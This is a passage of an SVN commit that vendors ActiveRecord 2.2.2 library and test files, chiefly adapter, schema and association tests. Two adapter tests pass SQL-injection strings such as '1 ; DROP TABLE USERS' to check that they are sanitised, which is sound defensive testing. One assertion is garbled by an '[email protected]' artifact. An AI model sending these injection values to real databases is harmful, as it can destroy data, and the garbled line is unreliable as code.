+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+begin
+  require 'active_support'
+rescue LoadError
+  activesupport_path = "#{File.dirname(__FILE__)}/../../activesupport/lib"
+  if File.directory?(activesupport_path)
+    $:.unshift activesupport_path
+    require 'active_support'
+  end
+end
+
+require 'active_record/base'
+require 'active_record/named_scope'
+require 'active_record/observer'
+require 'active_record/query_cache'
+require 'active_record/validations'
+require 'active_record/callbacks'
+require 'active_record/reflection'
+require 'active_record/associations'
+require 'active_record/association_preload'
+require 'active_record/aggregations'
+require 'active_record/transactions'
+require 'active_record/timestamp'
+require 'active_record/locking/optimistic'
+require 'active_record/locking/pessimistic'
+require 'active_record/migration'
+require 'active_record/schema'
+require 'active_record/calculations'
+require 'active_record/serialization'
+require 'active_record/attribute_methods'
+require 'active_record/dirty'
+require 'active_record/dynamic_finder_match'
+
+ActiveRecord::Base.class_eval do
+  extend ActiveRecord::QueryCache
+  include ActiveRecord::Validations
+  include ActiveRecord::Locking::Optimistic
+  include ActiveRecord::Locking::Pessimistic
+  include ActiveRecord::AttributeMethods
+  include ActiveRecord::Dirty
+  include ActiveRecord::Callbacks
+  include ActiveRecord::Observing
+  include ActiveRecord::Timestamp
+  include ActiveRecord::Associations
+  include ActiveRecord::NamedScope
+  include ActiveRecord::AssociationPreload
+  include ActiveRecord::Aggregations
+  include ActiveRecord::Transactions
+  include ActiveRecord::Reflection
+  include ActiveRecord::Calculations
+  include ActiveRecord::Serialization
+end
+
+require 'active_record/connection_adapters/abstract_adapter'
+
+require 'active_record/schema_dumper'
+
+require 'active_record/i18n_interpolation_deprecation'
+I18n.load_path << File.dirname(__FILE__) + '/active_record/locale/en.yml'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/activerecord.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/activerecord.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/activerecord.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+require 'active_record'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/assets/flowers.jpg
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/assets/flowers.jpg
___________________________________________________________________
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/aaa_create_tables_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/aaa_create_tables_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/aaa_create_tables_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+# The filename begins with "aaa" to ensure this is the first test.
+require "cases/helper"
+
+class AAACreateTablesTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  def test_load_schema
+    eval(File.read(SCHEMA_ROOT + "/schema.rb"))
+    if File.exists?(adapter_specific_schema_file)
+      eval(File.read(adapter_specific_schema_file))
+    end
+    assert true
+  end
+
+  def test_drop_and_create_courses_table
+    eval(File.read(SCHEMA_ROOT + "/schema2.rb"))
+    assert true
+  end
+
+  private
+  def adapter_specific_schema_file
+    SCHEMA_ROOT + '/' + ActiveRecord::Base.connection.adapter_name.downcase + '_specific_schema.rb'
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/active_schema_test_mysql.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/active_schema_test_mysql.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/active_schema_test_mysql.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,100 @@
+require "cases/helper"
+
+class ActiveSchemaTest < ActiveRecord::TestCase
+  def setup
+    ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do
+      alias_method :execute_without_stub, :execute
+      def execute(sql, name = nil) return sql end
+    end
+  end
+
+  def teardown
+    ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do
+      remove_method :execute
+      alias_method :execute, :execute_without_stub
+    end
+  end
+
+  def test_drop_table
+    assert_equal "DROP TABLE `people`", drop_table(:people)
+  end
+
+  if current_adapter?(:MysqlAdapter)
+    def test_create_mysql_database_with_encoding
+      assert_equal "CREATE DATABASE `matt` DEFAULT CHARACTER SET `utf8`", create_database(:matt)
+      assert_equal "CREATE DATABASE `aimonetti` DEFAULT CHARACTER SET `latin1`", create_database(:aimonetti, {:charset => 'latin1'})
+      assert_equal "CREATE DATABASE `matt_aimonetti` DEFAULT CHARACTER SET `big5` COLLATE `big5_chinese_ci`", create_database(:matt_aimonetti, {:charset => :big5, :collation => :big5_chinese_ci})
+    end
+
+    def test_recreate_mysql_database_with_encoding
+      create_database(:luca, {:charset => 'latin1'})
+      assert_equal "CREATE DATABASE `luca` DEFAULT CHARACTER SET `latin1`", recreate_database(:luca, {:charset => 'latin1'})
+    end
+  end
+
+  def test_add_column
+    assert_equal "ALTER TABLE `people` ADD `last_name` varchar(255)", add_column(:people, :last_name, :string)
+  end
+
+  def test_add_column_with_limit
+    assert_equal "ALTER TABLE `people` ADD `key` varchar(32)", add_column(:people, :key, :string, :limit => 32)
+  end
+
+  def test_drop_table_with_specific_database
+    assert_equal "DROP TABLE `otherdb`.`people`", drop_table('otherdb.people')
+  end
+
+  def test_add_timestamps 
+    with_real_execute do
+      begin
+        ActiveRecord::Base.connection.create_table :delete_me do |t|
+        end
+        ActiveRecord::Base.connection.add_timestamps :delete_me
+        assert column_present?('delete_me', 'updated_at', 'datetime')
+        assert column_present?('delete_me', 'created_at', 'datetime')
+      ensure
+        ActiveRecord::Base.connection.drop_table :delete_me rescue nil
+      end
+    end
+  end
+  
+  def test_remove_timestamps 
+    with_real_execute do
+      begin
+        ActiveRecord::Base.connection.create_table :delete_me do |t|
+          t.timestamps
+        end
+        ActiveRecord::Base.connection.remove_timestamps :delete_me
+        assert !column_present?('delete_me', 'updated_at', 'datetime')
+        assert !column_present?('delete_me', 'created_at', 'datetime')
+      ensure
+        ActiveRecord::Base.connection.drop_table :delete_me rescue nil
+      end
+    end
+  end
+
+  private
+    def with_real_execute
+      #we need to actually modify some data, so we make execute point to the original method
+      ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do
+        alias_method :execute_with_stub, :execute
+        alias_method :execute, :execute_without_stub
+      end
+      yield
+    ensure
+      #before finishing, we restore the alias to the mock-up method
+      ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do
+        alias_method :execute, :execute_with_stub
+      end
+    end
+
+
+    def method_missing(method_symbol, *arguments)
+      ActiveRecord::Base.connection.send(method_symbol, *arguments)
+    end
+
+    def column_present?(table_name, column_name, type)
+      results = ActiveRecord::Base.connection.select_all("SHOW FIELDS FROM #{table_name} LIKE '#{column_name}'")
+      results.first && results.first['Type'] == type
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/active_schema_test_postgresql.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/active_schema_test_postgresql.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/active_schema_test_postgresql.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+require 'cases/helper'
+
+class PostgresqlActiveSchemaTest < Test::Unit::TestCase
+  def setup
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.class_eval do
+      alias_method :real_execute, :execute
+      def execute(sql, name = nil) sql end
+    end
+  end
+
+  def teardown
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send(:alias_method, :execute, :real_execute)
+  end
+
+  def test_create_database_with_encoding
+    assert_equal %(CREATE DATABASE "matt" ENCODING = 'utf8'), create_database(:matt)
+    assert_equal %(CREATE DATABASE "aimonetti" ENCODING = 'latin1'), create_database(:aimonetti, :encoding => :latin1)
+  end
+
+  private
+    def method_missing(method_symbol, *arguments)
+      ActiveRecord::Base.connection.send(method_symbol, *arguments)
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/adapter_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/adapter_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/adapter_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,133 @@
+require "cases/helper"
+
+class AdapterTest < ActiveRecord::TestCase
+  def setup
+    @connection = ActiveRecord::Base.connection
+  end
+
+  def test_tables
+    tables = @connection.tables
+    assert tables.include?("accounts")
+    assert tables.include?("authors")
+    assert tables.include?("tasks")
+    assert tables.include?("topics")
+  end
+
+  def test_table_exists?
+    assert @connection.table_exists?("accounts")
+    assert [email protected]_exists?("nonexistingtable")
+  end
+
+  def test_indexes
+    idx_name = "accounts_idx"
+
+    if @connection.respond_to?(:indexes)
+      indexes = @connection.indexes("accounts")
+      assert indexes.empty?
+
+      @connection.add_index :accounts, :firm_id, :name => idx_name
+      indexes = @connection.indexes("accounts")
+      assert_equal "accounts", indexes.first.table
+      # OpenBase does not have the concept of a named index
+      # Indexes are merely properties of columns.
+      assert_equal idx_name, indexes.first.name unless current_adapter?(:OpenBaseAdapter)
+      assert !indexes.first.unique
+      assert_equal ["firm_id"], indexes.first.columns
+    else
+      warn "#{@connection.class} does not respond to #indexes"
+    end
+
+  ensure
+    @connection.remove_index(:accounts, :name => idx_name) rescue nil
+  end
+
+  def test_current_database
+    if @connection.respond_to?(:current_database)
+      assert_equal ENV['ARUNIT_DB_NAME'] || "activerecord_unittest", @connection.current_database
+    end
+  end
+
+  if current_adapter?(:MysqlAdapter)
+    def test_charset
+      assert_not_nil @connection.charset
+      assert_not_equal 'character_set_database', @connection.charset
+      assert_equal @connection.show_variable('character_set_database'), @connection.charset
+    end
+
+    def test_collation
+      assert_not_nil @connection.collation
+      assert_not_equal 'collation_database', @connection.collation
+      assert_equal @connection.show_variable('collation_database'), @connection.collation
+    end
+
+    def test_show_nonexistent_variable_returns_nil
+      assert_nil @connection.show_variable('foo_bar_baz')
+    end
+  end
+
+  if current_adapter?(:PostgreSQLAdapter)
+    def test_encoding
+      assert_not_nil @connection.encoding
+    end
+  end
+
+  def test_table_alias
+    def @connection.test_table_alias_length() 10; end
+    class << @connection
+      alias_method :old_table_alias_length, :table_alias_length
+      alias_method :table_alias_length,     :test_table_alias_length
+    end
+
+    assert_equal 'posts',      @connection.table_alias_for('posts')
+    assert_equal 'posts_comm', @connection.table_alias_for('posts_comments')
+    assert_equal 'dbo_posts',  @connection.table_alias_for('dbo.posts')
+
+    class << @connection
+      remove_method :table_alias_length
+      alias_method :table_alias_length, :old_table_alias_length
+    end
+  end
+
+  # test resetting sequences in odd tables in postgreSQL
+  if ActiveRecord::Base.connection.respond_to?(:reset_pk_sequence!)
+    require 'models/movie'
+    require 'models/subscriber'
+
+    def test_reset_empty_table_with_custom_pk
+      Movie.delete_all
+      Movie.connection.reset_pk_sequence! 'movies'
+      assert_equal 1, Movie.create(:name => 'fight club').id
+    end
+
+    if ActiveRecord::Base.connection.adapter_name != "FrontBase"
+      def test_reset_table_with_non_integer_pk
+        Subscriber.delete_all
+        Subscriber.connection.reset_pk_sequence! 'subscribers'
+        sub = Subscriber.new(:name => 'robert drake')
+        sub.id = 'bob drake'
+        assert_nothing_raised { sub.save! }
+      end
+    end
+  end
+
+  def test_add_limit_offset_should_sanitize_sql_injection_for_limit_without_comas
+    sql_inject = "1 select * from schema"
+      assert_equal " LIMIT 1", @connection.add_limit_offset!("", :limit=>sql_inject)
+    if current_adapter?(:MysqlAdapter)
+      assert_equal " LIMIT 7, 1", @connection.add_limit_offset!("", :limit=>sql_inject, :offset=>7)
+    else
+      assert_equal " LIMIT 1 OFFSET 7", @connection.add_limit_offset!("", :limit=>sql_inject, :offset=>7)
+    end
+  end
+
+  def test_add_limit_offset_should_sanitize_sql_injection_for_limit_with_comas
+    sql_inject = "1, 7 procedure help()"
+    if current_adapter?(:MysqlAdapter)
+      assert_equal " LIMIT 1,7", @connection.add_limit_offset!("", :limit=>sql_inject)
+      assert_equal " LIMIT 7, 1", @connection.add_limit_offset!("", :limit=> '1 ; DROP TABLE USERS', :offset=>7)
+    else
+      assert_equal " LIMIT 1,7", @connection.add_limit_offset!("", :limit=>sql_inject)
+      assert_equal " LIMIT 1,7 OFFSET 7", @connection.add_limit_offset!("", :limit=>sql_inject, :offset=>7)
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/aggregations_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/aggregations_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/aggregations_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,167 @@
+require "cases/helper"
+require 'models/customer'
+
+class AggregationsTest < ActiveRecord::TestCase
+  fixtures :customers
+
+  def test_find_single_value_object
+    assert_equal 50, customers(:david).balance.amount
+    assert_kind_of Money, customers(:david).balance
+    assert_equal 300, customers(:david).balance.exchange_to("DKK").amount
+  end
+
+  def test_find_multiple_value_object
+    assert_equal customers(:david).address_street, customers(:david).address.street
+    assert(
+      customers(:david).address.close_to?(Address.new("Different Street", customers(:david).address_city, customers(:david).address_country))
+    )
+  end
+
+  def test_change_single_value_object
+    customers(:david).balance = Money.new(100)
+    customers(:david).save
+    assert_equal 100, customers(:david).reload.balance.amount
+  end
+
+  def test_immutable_value_objects
+    customers(:david).balance = Money.new(100)
+    assert_raise(ActiveSupport::FrozenObjectError) { customers(:david).balance.instance_eval { @amount = 20 } }
+  end
+
+  def test_inferred_mapping
+    assert_equal "35.544623640962634", customers(:david).gps_location.latitude
+    assert_equal "-105.9309951055148", customers(:david).gps_location.longitude
+
+    customers(:david).gps_location = GpsLocation.new("39x-110")
+
+    assert_equal "39", customers(:david).gps_location.latitude
+    assert_equal "-110", customers(:david).gps_location.longitude
+
+    customers(:david).save
+
+    customers(:david).reload
+
+    assert_equal "39", customers(:david).gps_location.latitude
+    assert_equal "-110", customers(:david).gps_location.longitude
+  end
+
+  def test_reloaded_instance_refreshes_aggregations
+    assert_equal "35.544623640962634", customers(:david).gps_location.latitude
+    assert_equal "-105.9309951055148", customers(:david).gps_location.longitude
+
+    Customer.update_all("gps_location = '24x113'")
+    customers(:david).reload
+    assert_equal '24x113', customers(:david)['gps_location']
+
+    assert_equal GpsLocation.new('24x113'), customers(:david).gps_location
+  end
+
+  def test_gps_equality
+    assert GpsLocation.new('39x110') == GpsLocation.new('39x110')
+  end
+
+  def test_gps_inequality
+    assert GpsLocation.new('39x110') != GpsLocation.new('39x111')
+  end
+
+  def test_allow_nil_gps_is_nil
+    assert_equal nil, customers(:zaphod).gps_location
+  end
+
+  def test_allow_nil_gps_set_to_nil
+    customers(:david).gps_location = nil
+    customers(:david).save
+    customers(:david).reload
+    assert_equal nil, customers(:david).gps_location
+  end
+
+  def test_allow_nil_set_address_attributes_to_nil
+    customers(:zaphod).address = nil
+    assert_equal nil, customers(:zaphod).attributes[:address_street]
+    assert_equal nil, customers(:zaphod).attributes[:address_city]
+    assert_equal nil, customers(:zaphod).attributes[:address_country]
+  end
+
+  def test_allow_nil_address_set_to_nil
+    customers(:zaphod).address = nil
+    customers(:zaphod).save
+    customers(:zaphod).reload
+    assert_equal nil, customers(:zaphod).address
+  end
+
+  def test_nil_raises_error_when_allow_nil_is_false
+    assert_raise(NoMethodError) { customers(:david).balance = nil }
+  end
+
+  def test_allow_nil_address_loaded_when_only_some_attributes_are_nil
+    customers(:zaphod).address_street = nil
+    customers(:zaphod).save
+    customers(:zaphod).reload
+    assert_kind_of Address, customers(:zaphod).address
+    assert customers(:zaphod).address.street.nil?
+  end
+
+  def test_nil_assignment_results_in_nil
+    customers(:david).gps_location = GpsLocation.new('39x111')
+    assert_not_equal nil, customers(:david).gps_location
+    customers(:david).gps_location = nil
+    assert_equal nil, customers(:david).gps_location
+  end
+
+  def test_custom_constructor
+    assert_equal 'Barney GUMBLE', customers(:barney).fullname.to_s
+    assert_kind_of Fullname, customers(:barney).fullname
+  end
+
+  def test_custom_converter
+    customers(:barney).fullname = 'Barnoit Gumbleau'
+    assert_equal 'Barnoit GUMBLEAU', customers(:barney).fullname.to_s
+    assert_kind_of Fullname, customers(:barney).fullname
+  end
+end
+
+class DeprecatedAggregationsTest < ActiveRecord::TestCase
+  class Person < ActiveRecord::Base; end
+
+  def test_conversion_block_is_deprecated
+    assert_deprecated 'conversion block has been deprecated' do
+      Person.composed_of(:balance, :class_name => "Money", :mapping => %w(balance amount)) { |balance| balance.to_money }
+    end
+  end
+
+  def test_conversion_block_used_when_converter_option_is_nil
+    assert_deprecated 'conversion block has been deprecated' do
+      Person.composed_of(:balance, :class_name => "Money", :mapping => %w(balance amount)) { |balance| balance.to_money }
+    end
+    assert_raise(NoMethodError) { Person.new.balance = 5 }
+  end
+
+  def test_converter_option_overrides_conversion_block
+    assert_deprecated 'conversion block has been deprecated' do
+      Person.composed_of(:balance, :class_name => "Money", :mapping => %w(balance amount), :converter => Proc.new { |balance| Money.new(balance) }) { |balance| balance.to_money }
+    end
+
+    person = Person.new
+    assert_nothing_raised { person.balance = 5 }
+    assert_equal 5, person.balance.amount
+    assert_kind_of Money, person.balance
+  end
+end
+
+class OverridingAggregationsTest < ActiveRecord::TestCase
+  class Name; end
+  class DifferentName; end
+
+  class Person   < ActiveRecord::Base
+    composed_of :composed_of, :mapping => %w(person_first_name first_name)
+  end
+
+  class DifferentPerson < Person
+    composed_of :composed_of, :class_name => 'DifferentName', :mapping => %w(different_person_first_name first_name)
+  end
+
+  def test_composed_of_aggregation_redefinition_reflections_should_differ_and_not_inherited
+    assert_not_equal Person.reflect_on_aggregation(:composed_of),
+                     DifferentPerson.reflect_on_aggregation(:composed_of)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/ar_schema_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/ar_schema_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/ar_schema_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+require "cases/helper"
+require 'active_record/schema'
+
+if ActiveRecord::Base.connection.supports_migrations?
+
+  class ActiveRecordSchemaTest < ActiveRecord::TestCase
+    self.use_transactional_fixtures = false
+
+    def setup
+      @connection = ActiveRecord::Base.connection
+    end
+
+    def teardown
+      @connection.drop_table :fruits rescue nil
+    end
+
+    def test_schema_define
+      ActiveRecord::Schema.define(:version => 7) do
+        create_table :fruits do |t|
+          t.column :color, :string
+          t.column :fruit_size, :string  # NOTE: "size" is reserved in Oracle
+          t.column :texture, :string
+          t.column :flavor, :string
+        end
+      end
+
+      assert_nothing_raised { @connection.select_all "SELECT * FROM fruits" }
+      assert_nothing_raised { @connection.select_all "SELECT * FROM schema_migrations" }
+      assert_equal 7, ActiveRecord::Migrator::current_version
+    end
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/belongs_to_associations_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/belongs_to_associations_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/belongs_to_associations_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,441 @@
+require "cases/helper"
+require 'models/developer'
+require 'models/project'
+require 'models/company'
+require 'models/topic'
+require 'models/reply'
+require 'models/computer'
+require 'models/customer'
+require 'models/order'
+require 'models/post'
+require 'models/author'
+require 'models/tag'
+require 'models/tagging'
+require 'models/comment'
+require 'models/sponsor'
+require 'models/member'
+
+class BelongsToAssociationsTest < ActiveRecord::TestCase
+  fixtures :accounts, :companies, :developers, :projects, :topics,
+           :developers_projects, :computers, :authors, :posts, :tags, :taggings, :comments
+
+  def test_belongs_to
+    Client.find(3).firm.name
+    assert_equal companies(:first_firm).name, Client.find(3).firm.name
+    assert !Client.find(3).firm.nil?, "Microsoft should have a firm"
+  end
+
+  def test_proxy_assignment
+    account = Account.find(1)
+    assert_nothing_raised { account.firm = account.firm }
+  end
+
+  def test_triple_equality
+    assert Client.find(3).firm === Firm
+    assert Firm === Client.find(3).firm
+  end
+
+  def test_type_mismatch
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { Account.find(1).firm = 1 }
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { Account.find(1).firm = Project.find(1) }
+  end
+
+  def test_natural_assignment
+    apple = Firm.create("name" => "Apple")
+    citibank = Account.create("credit_limit" => 10)
+    citibank.firm = apple
+    assert_equal apple.id, citibank.firm_id
+  end
+
+  def test_no_unexpected_aliasing
+    first_firm = companies(:first_firm)
+    another_firm = companies(:another_firm)
+
+    citibank = Account.create("credit_limit" => 10)
+    citibank.firm = first_firm
+    original_proxy = citibank.firm
+    citibank.firm = another_firm
+
+    assert_equal first_firm.object_id, original_proxy.target.object_id
+    assert_equal another_firm.object_id, citibank.firm.target.object_id
+  end
+
+  def test_creating_the_belonging_object
+    citibank = Account.create("credit_limit" => 10)
+    apple    = citibank.create_firm("name" => "Apple")
+    assert_equal apple, citibank.firm
+    citibank.save
+    citibank.reload
+    assert_equal apple, citibank.firm
+  end
+
+  def test_building_the_belonging_object
+    citibank = Account.create("credit_limit" => 10)
+    apple    = citibank.build_firm("name" => "Apple")
+    citibank.save
+    assert_equal apple.id, citibank.firm_id
+  end
+
+  def test_natural_assignment_to_nil
+    client = Client.find(3)
+    client.firm = nil
+    client.save
+    assert_nil client.firm(true)
+    assert_nil client.client_of
+  end
+
+  def test_with_different_class_name
+    assert_equal Company.find(1).name, Company.find(3).firm_with_other_name.name
+    assert_not_nil Company.find(3).firm_with_other_name, "Microsoft should have a firm"
+  end
+
+  def test_with_condition
+    assert_equal Company.find(1).name, Company.find(3).firm_with_condition.name
+    assert_not_nil Company.find(3).firm_with_condition, "Microsoft should have a firm"
+  end
+
+  def test_with_select
+    assert_equal Company.find(2).firm_with_select.attributes.size, 1
+    assert_equal Company.find(2, :include => :firm_with_select ).firm_with_select.attributes.size, 1
+  end
+
+  def test_belongs_to_counter
+    debate = Topic.create("title" => "debate")
+    assert_equal 0, debate.send(:read_attribute, "replies_count"), "No replies yet"
+
+    trash = debate.replies.create("title" => "blah!", "content" => "world around!")
+    assert_equal 1, Topic.find(debate.id).send(:read_attribute, "replies_count"), "First reply created"
+
+    trash.destroy
+    assert_equal 0, Topic.find(debate.id).send(:read_attribute, "replies_count"), "First reply deleted"
+  end
+
+  def test_belongs_to_counter_with_assigning_nil
+    p = Post.find(1)
+    c = Comment.find(1)
+
+    assert_equal p.id, c.post_id
+    assert_equal 2, Post.find(p.id).comments.size
+
+    c.post = nil
+
+    assert_equal 1, Post.find(p.id).comments.size
+  end
+
+  def test_belongs_to_counter_with_reassigning
+    t1 = Topic.create("title" => "t1")
+    t2 = Topic.create("title" => "t2")
+    r1 = Reply.new("title" => "r1", "content" => "r1")
+    r1.topic = t1
+
+    assert r1.save
+    assert_equal 1, Topic.find(t1.id).replies.size
+    assert_equal 0, Topic.find(t2.id).replies.size
+
+    r1.topic = Topic.find(t2.id)
+
+    assert r1.save
+    assert_equal 0, Topic.find(t1.id).replies.size
+    assert_equal 1, Topic.find(t2.id).replies.size
+
+    r1.topic = nil
+
+    assert_equal 0, Topic.find(t1.id).replies.size
+    assert_equal 0, Topic.find(t2.id).replies.size
+
+    r1.topic = t1
+
+    assert_equal 1, Topic.find(t1.id).replies.size
+    assert_equal 0, Topic.find(t2.id).replies.size
+
+    r1.destroy
+
+    assert_equal 0, Topic.find(t1.id).replies.size
+    assert_equal 0, Topic.find(t2.id).replies.size
+  end
+
+  def test_belongs_to_counter_after_save
+    topic = Topic.create!(:title => "monday night")
+    topic.replies.create!(:title => "re: monday night", :content => "football")
+    assert_equal 1, Topic.find(topic.id)[:replies_count]
+
+    topic.save!
+    assert_equal 1, Topic.find(topic.id)[:replies_count]
+  end
+
+  def test_belongs_to_counter_after_update_attributes
+    topic = Topic.create!(:title => "37s")
+    topic.replies.create!(:title => "re: 37s", :content => "rails")
+    assert_equal 1, Topic.find(topic.id)[:replies_count]
+
+    topic.update_attributes(:title => "37signals")
+    assert_equal 1, Topic.find(topic.id)[:replies_count]
+  end
+
+  def test_belongs_to_counter_after_save
+    topic = Topic.create("title" => "monday night")
+    topic.replies.create("title" => "re: monday night", "content" => "football")
+    assert_equal 1, Topic.find(topic.id).send(:read_attribute, "replies_count")
+
+    topic.save
+    assert_equal 1, Topic.find(topic.id).send(:read_attribute, "replies_count")
+  end
+
+  def test_belongs_to_counter_after_update_attributes
+    topic = Topic.create("title" => "37s")
+    topic.replies.create("title" => "re: 37s", "content" => "rails")
+    assert_equal 1, Topic.find(topic.id).send(:read_attribute, "replies_count")
+
+    topic.update_attributes("title" => "37signals")
+    assert_equal 1, Topic.find(topic.id).send(:read_attribute, "replies_count")
+  end
+
+  def test_assignment_before_parent_saved
+    client = Client.find(:first)
+    apple = Firm.new("name" => "Apple")
+    client.firm = apple
+    assert_equal apple, client.firm
+    assert apple.new_record?
+    assert client.save
+    assert apple.save
+    assert !apple.new_record?
+    assert_equal apple, client.firm
+    assert_equal apple, client.firm(true)
+  end
+
+  def test_assignment_before_child_saved
+    final_cut = Client.new("name" => "Final Cut")
+    firm = Firm.find(1)
+    final_cut.firm = firm
+    assert final_cut.new_record?
+    assert final_cut.save
+    assert !final_cut.new_record?
+    assert !firm.new_record?
+    assert_equal firm, final_cut.firm
+    assert_equal firm, final_cut.firm(true)
+  end
+
+  def test_assignment_before_either_saved
+    final_cut = Client.new("name" => "Final Cut")
+    apple = Firm.new("name" => "Apple")
+    final_cut.firm = apple
+    assert final_cut.new_record?
+    assert apple.new_record?
+    assert final_cut.save
+    assert !final_cut.new_record?
+    assert !apple.new_record?
+    assert_equal apple, final_cut.firm
+    assert_equal apple, final_cut.firm(true)
+  end
+
+  def test_new_record_with_foreign_key_but_no_object
+    c = Client.new("firm_id" => 1)
+    assert_equal Firm.find(:first), c.firm_with_basic_id
+  end
+
+  def test_forgetting_the_load_when_foreign_key_enters_late
+    c = Client.new
+    assert_nil c.firm_with_basic_id
+
+    c.firm_id = 1
+    assert_equal Firm.find(:first), c.firm_with_basic_id
+  end
+
+  def test_field_name_same_as_foreign_key
+    computer = Computer.find(1)
+    assert_not_nil computer.developer, ":foreign key == attribute didn't lock up" # '
+  end
+
+  def test_counter_cache
+    topic = Topic.create :title => "Zoom-zoom-zoom"
+    assert_equal 0, topic[:replies_count]
+
+    reply = Reply.create(:title => "re: zoom", :content => "speedy quick!")
+    reply.topic = topic
+
+    assert_equal 1, topic.reload[:replies_count]
+    assert_equal 1, topic.replies.size
+
+    topic[:replies_count] = 15
+    assert_equal 15, topic.replies.size
+  end
+
+  def test_custom_counter_cache
+    reply = Reply.create(:title => "re: zoom", :content => "speedy quick!")
+    assert_equal 0, reply[:replies_count]
+
+    silly = SillyReply.create(:title => "gaga", :content => "boo-boo")
+    silly.reply = reply
+
+    assert_equal 1, reply.reload[:replies_count]
+    assert_equal 1, reply.replies.size
+
+    reply[:replies_count] = 17
+    assert_equal 17, reply.replies.size
+  end
+
+  def test_store_two_association_with_one_save
+    num_orders = Order.count
+    num_customers = Customer.count
+    order = Order.new
+
+    customer1 = order.billing = Customer.new
+    customer2 = order.shipping = Customer.new
+    assert order.save
+    assert_equal customer1, order.billing
+    assert_equal customer2, order.shipping
+
+    order.reload
+
+    assert_equal customer1, order.billing
+    assert_equal customer2, order.shipping
+
+    assert_equal num_orders +1, Order.count
+    assert_equal num_customers +2, Customer.count
+  end
+
+
+  def test_store_association_in_two_relations_with_one_save
+    num_orders = Order.count
+    num_customers = Customer.count
+    order = Order.new
+
+    customer = order.billing = order.shipping = Customer.new
+    assert order.save
+    assert_equal customer, order.billing
+    assert_equal customer, order.shipping
+
+    order.reload
+
+    assert_equal customer, order.billing
+    assert_equal customer, order.shipping
+
+    assert_equal num_orders +1, Order.count
+    assert_equal num_customers +1, Customer.count
+  end
+
+  def test_store_association_in_two_relations_with_one_save_in_existing_object
+    num_orders = Order.count
+    num_customers = Customer.count
+    order = Order.create
+
+    customer = order.billing = order.shipping = Customer.new
+    assert order.save
+    assert_equal customer, order.billing
